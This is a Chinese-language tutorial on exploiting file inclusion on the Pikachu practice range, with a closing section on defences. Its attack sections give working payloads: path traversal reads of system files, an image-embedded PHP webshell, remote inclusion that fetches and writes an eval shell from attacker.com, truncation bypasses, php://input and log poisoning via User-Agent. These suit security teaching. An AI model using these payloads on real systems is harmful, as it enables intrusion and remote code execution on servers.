Pikachu靶场实战:文件包含漏洞从入门到getshell(附BurpSuite爆破技巧)

Pikachu靶场实战:文件包含漏洞从入门到getshell(附BurpSuite爆破技巧) Pikachu靶场实战文件包含漏洞从入门到getshell附BurpSuite爆破技巧在网络安全领域文件包含漏洞一直是渗透测试中的经典攻击路径。这种漏洞看似简单却能串联起整个攻击链条从信息泄露到系统控制往往只需要几行精心构造的代码。本文将带您深入Pikachu靶场通过实战演练揭开文件包含漏洞的神秘面纱掌握从基础探测到完整getshell的全套技巧。1. 文件包含漏洞核心原理文件包含漏洞的本质在于应用程序动态加载文件时未对用户输入进行严格过滤。以PHP为例当开发者使用include、require等函数时如果参数可控攻击者就能通过路径遍历等手段读取或执行任意文件。关键危险函数对比函数文件不存在时行为重复包含处理include()产生警告继续执行重复包含require()产生错误停止执行重复包含include_once()产生警告继续执行不重复包含require_once()产生错误停止执行不重复包含注意这些函数不仅会解析PHP代码还会输出文本文件内容这为敏感信息泄露创造了条件。漏洞利用的两大场景本地文件包含(LFI)读取服务器上的配置文件、日志等敏感信息远程文件包含(RFI)直接加载远程恶意代码危害性更大2. 靶场环境搭建与初步探测Pikachu靶场提供了完美的学习环境。启动靶机后我们来到文件包含漏洞练习模块发现一个NBA球星展示页面。看似简单的功能背后隐藏着致命风险。初始信息收集步骤随机选择球星(Kobe)观察URL结构http://[靶机IP]/vul/fileinclude/fi_local.php?filenamefile1.phpsubmit提交修改filename参数尝试直接访问file6.php发现隐藏的配置文件?php // 测试用账号 $db_user pikachu_admin; $db_pass pikachu123; ?通过错误信息分析出包含路径为./include/[filename]BurpSuite爆破技巧GET /vul/fileinclude/fi_local.php?filenamefile§6§.php HTTP/1.1 Host: [靶机IP]配置Intruder的Payload为数字6-100步长1通过响应长度差异快速定位有效文件。3. 本地文件包含深度利用掌握了基本文件包含后我们可以进一步挖掘漏洞潜力。3.1 系统敏感文件读取利用路径遍历读取Windows系统文件http://[靶机IP]/vul/fileinclude/fi_local.php?filename../../../../Windows/system.ini常见有价值系统文件Windows:C:\Windows\win.ini- 系统基础配置C:\Windows\System32\drivers\etc\hosts- 网络主机配置Linux:/etc/passwd- 用户账户信息/proc/self/environ- 环境变量3.2 结合文件上传getshell更危险的攻击方式是结合文件上传功能实现代码执行上传包含PHP代码的图片马GIF89a; ?php system($_GET[cmd]); ?计算相对路径包含该文件http://[靶机IP]/vul/fileinclude/fi_local.php?filename../../upload/evil.jpg成功解析后即可执行系统命令http://[靶机IP]/vul/fileinclude/fi_local.php?filename../../upload/evil.jpgcmdwhoami4. 远程文件包含实战当allow_url_include配置开启时攻击者可以直接包含远程服务器上的恶意脚本攻击步骤在可控服务器上放置payload?php file_put_contents(shell.php, ?php eval($_POST[cmd]);?); ?通过URL触发http://[靶机IP]/vul/fileinclude/fi_remote.php?filenamehttp://attacker.com/shell.txt访问生成的shell.php即可获得webshell防御绕过技巧利用?截断http://attacker.com/shell.txt?使用#号http://attacker.com/shell.txt#协议封装php://input配合POST发送代码5. 高级利用与防护策略日志文件注入通过User-Agent注入PHP代码GET / HTTP/1.1 User-Agent: ?php phpinfo();?包含日志文件执行代码http://[靶机IP]/vul/fileinclude/fi_local.php?filename../../logs/access.log有效防御措施输入验证$allowed [page1, page2, page3]; if(!in_array($file, $allowed)) { die(Invalid file requested); }配置防护设置open_basedir限制访问范围关闭allow_url_fopen和allow_url_include文件处理使用basename()过滤路径遍历强制添加后缀名include($file..php);在真实渗透测试中文件包含漏洞往往能成为突破内网的关键跳板。通过Pikachu靶场的系统练习我们不仅掌握了基础利用方法还学习了如何将各种技巧组合运用构建完整的攻击链。记住真正的安全来自于对漏洞原理的深刻理解而不仅仅是工具的使用。